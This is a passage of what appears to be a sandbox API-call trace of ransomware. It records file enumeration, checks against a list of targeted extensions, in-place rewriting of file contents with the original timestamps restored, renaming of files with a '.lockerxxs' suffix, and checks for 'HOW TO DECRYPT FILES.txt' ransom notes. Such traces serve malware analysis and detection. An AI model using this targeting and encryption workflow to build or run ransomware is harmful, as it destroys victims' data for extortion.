lstrlenA (lpString="*.xls") returned 5 [0086.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.mp4") returned 1 [0086.543] lstrlenA (lpString="*.mp4") returned 5 [0086.543] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4" [0086.543] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4" [0086.543] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4." [0086.543] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4.lockerxxs" [0086.543] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ffpzxi2tpu8e6tlvau4o.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.544] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9b6 [0086.544] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x37615360, dwHighDateTime=0x1d5d831), lpLastAccessTime=0x407536*(dwLowDateTime=0xf9ebfd50, dwHighDateTime=0x1d5e7e4), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf9ebfd50, dwHighDateTime=0x1d5e7e4)) returned 1 [0086.544] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.544] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x990, lpOverlapped=0x0) returned 1 [0086.545] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4") returned="fFPZxI2Tpu8e6tLvaU4o.mp4" [0086.545] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.545] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x990, lpOverlapped=0x0) returned 1 [0086.546] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.546] CloseHandle (hObject=0x90) returned 1 [0086.546] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ffpzxi2tpu8e6tlvau4o.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ffpzxi2tpu8e6tlvau4o.mp4.lockerxxs")) returned 1 [0086.547] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33d9ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x33d9ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd60001d7, dwReserved1=0x4e00c4, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1 [0086.547] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.547] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FXSAPIDebugLogFile.txt") returned -1 [0086.547] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FXSAPIDebugLogFile.txt") returned 1 [0086.547] lstrcmpiA (lpString1="", lpString2="FXSAPIDebugLogFile.txt") returned -1 [0086.548] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4") returned="fFPZxI2Tpu8e6tLvaU4o.mp4" [0086.548] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.548] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.548] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.548] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.548] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="FXSAPIDebugLogFile.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" [0086.548] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.ems") returned 0 [0086.548] lstrlenA (lpString="*.ems") returned 5 [0086.548] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.db") returned 0 [0086.548] lstrlenA (lpString="*.db") returned 4 [0086.548] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.dbf") returned 0 [0086.548] lstrlenA (lpString="*.dbf") returned 5 [0086.548] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.myox") returned 0 [0086.548] lstrlenA (lpString="*.myox") returned 6 [0086.548] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.myo") returned 0 [0086.548] lstrlenA (lpString="*.myo") returned 5 [0086.548] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.qbw") returned 0 [0086.548] lstrlenA (lpString="*.qbw") returned 5 [0086.548] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.qbb") returned 0 [0086.548] lstrlenA (lpString="*.qbb") returned 5 [0086.548] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.qbm") returned 0 [0086.548] lstrlenA (lpString="*.qbm") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.qbo") returned 0 [0086.549] lstrlenA (lpString="*.qbo") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.qbx") returned 0 [0086.549] lstrlenA (lpString="*.qbx") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.qba") returned 0 [0086.549] lstrlenA (lpString="*.qba") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.qby") returned 0 [0086.549] lstrlenA (lpString="*.qby") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.qbj") returned 0 [0086.549] lstrlenA (lpString="*.qbj") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.ofx") returned 0 [0086.549] lstrlenA (lpString="*.ofx") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.qif") returned 0 [0086.549] lstrlenA (lpString="*.qif") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.mye") returned 0 [0086.549] lstrlenA (lpString="*.mye") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.mbox") returned 0 [0086.549] lstrlenA (lpString="*.mbox") returned 6 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.eml") returned 0 [0086.549] lstrlenA (lpString="*.eml") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.pst") returned 0 [0086.549] lstrlenA (lpString="*.pst") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.ost") returned 0 [0086.549] lstrlenA (lpString="*.ost") returned 5 [0086.549] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.idx") returned 0 [0086.550] lstrlenA (lpString="*.idx") returned 5 [0086.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.dbx") returned 0 [0086.550] lstrlenA (lpString="*.dbx") returned 5 [0086.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.sql") returned 0 [0086.550] lstrlenA (lpString="*.sql") returned 5 [0086.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.mdb") returned 0 [0086.550] lstrlenA (lpString="*.mdb") returned 5 [0086.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.fdb") returned 0 [0086.550] lstrlenA (lpString="*.fdb") returned 5 [0086.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.wab") returned 0 [0086.550] lstrlenA (lpString="*.wab") returned 5 [0086.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.dat") returned 0 [0086.550] lstrlenA (lpString="*.dat") returned 5 [0086.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", pszSpec="*.txt") returned 1 [0086.550] lstrlenA (lpString="*.txt") returned 5 [0086.550] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" [0086.550] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" [0086.550] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt." [0086.550] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.lockerxxs" [0086.550] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.551] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0086.551] CloseHandle (hObject=0x90) returned 1 [0086.551] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbaa834c0, ftCreationTime.dwHighDateTime=0x1d5e1df, ftLastAccessTime.dwLowDateTime=0xd0eb6b30, ftLastAccessTime.dwHighDateTime=0x1d5db9f, ftLastWriteTime.dwLowDateTime=0xd0eb6b30, ftLastWriteTime.dwHighDateTime=0x1d5db9f, nFileSizeHigh=0x0, nFileSizeLow=0x1511b, dwReserved0=0x0, dwReserved1=0x0, cFileName="gH-_yE_.pdf", cAlternateFileName="")) returned 1 [0086.551] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.551] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gH-_yE_.pdf") returned -1 [0086.551] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gH-_yE_.pdf") returned 1 [0086.551] lstrcmpiA (lpString1="", lpString2="gH-_yE_.pdf") returned -1 [0086.551] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned="FXSAPIDebugLogFile.txt" [0086.551] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.551] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.551] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.551] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.551] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="gH-_yE_.pdf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf" [0086.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.ems") returned 0 [0086.552] lstrlenA (lpString="*.ems") returned 5 [0086.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.db") returned 0 [0086.552] lstrlenA (lpString="*.db") returned 4 [0086.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.dbf") returned 0 [0086.552] lstrlenA (lpString="*.dbf") returned 5 [0086.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.myox") returned 0 [0086.552] lstrlenA (lpString="*.myox") returned 6 [0086.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.myo") returned 0 [0086.552] lstrlenA (lpString="*.myo") returned 5 [0086.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.qbw") returned 0 [0086.552] lstrlenA (lpString="*.qbw") returned 5 [0086.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.qbb") returned 0 [0086.552] lstrlenA (lpString="*.qbb") returned 5 [0086.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.qbm") returned 0 [0086.552] lstrlenA (lpString="*.qbm") returned 5 [0086.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.qbo") returned 0 [0086.553] lstrlenA (lpString="*.qbo") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.qbx") returned 0 [0086.553] lstrlenA (lpString="*.qbx") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.qba") returned 0 [0086.553] lstrlenA (lpString="*.qba") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.qby") returned 0 [0086.553] lstrlenA (lpString="*.qby") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.qbj") returned 0 [0086.553] lstrlenA (lpString="*.qbj") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.ofx") returned 0 [0086.553] lstrlenA (lpString="*.ofx") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.qif") returned 0 [0086.553] lstrlenA (lpString="*.qif") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.mye") returned 0 [0086.553] lstrlenA (lpString="*.mye") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.mbox") returned 0 [0086.553] lstrlenA (lpString="*.mbox") returned 6 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.eml") returned 0 [0086.553] lstrlenA (lpString="*.eml") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.pst") returned 0 [0086.553] lstrlenA (lpString="*.pst") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.ost") returned 0 [0086.553] lstrlenA (lpString="*.ost") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.idx") returned 0 [0086.553] lstrlenA (lpString="*.idx") returned 5 [0086.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.dbx") returned 0 [0086.554] lstrlenA (lpString="*.dbx") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.sql") returned 0 [0086.554] lstrlenA (lpString="*.sql") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.mdb") returned 0 [0086.554] lstrlenA (lpString="*.mdb") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.fdb") returned 0 [0086.554] lstrlenA (lpString="*.fdb") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.wab") returned 0 [0086.554] lstrlenA (lpString="*.wab") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.dat") returned 0 [0086.554] lstrlenA (lpString="*.dat") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.txt") returned 0 [0086.554] lstrlenA (lpString="*.txt") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.jpeg") returned 0 [0086.554] lstrlenA (lpString="*.jpeg") returned 6 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.jpg") returned 0 [0086.554] lstrlenA (lpString="*.jpg") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.png") returned 0 [0086.554] lstrlenA (lpString="*.png") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.php") returned 0 [0086.554] lstrlenA (lpString="*.php") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.cs") returned 0 [0086.554] lstrlenA (lpString="*.cs") returned 4 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.cpp") returned 0 [0086.554] lstrlenA (lpString="*.cpp") returned 5 [0086.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.rar") returned 0 [0086.555] lstrlenA (lpString="*.rar") returned 5 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.zip") returned 0 [0086.555] lstrlenA (lpString="*.zip") returned 5 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.html") returned 0 [0086.555] lstrlenA (lpString="*.html") returned 6 [0086.555] 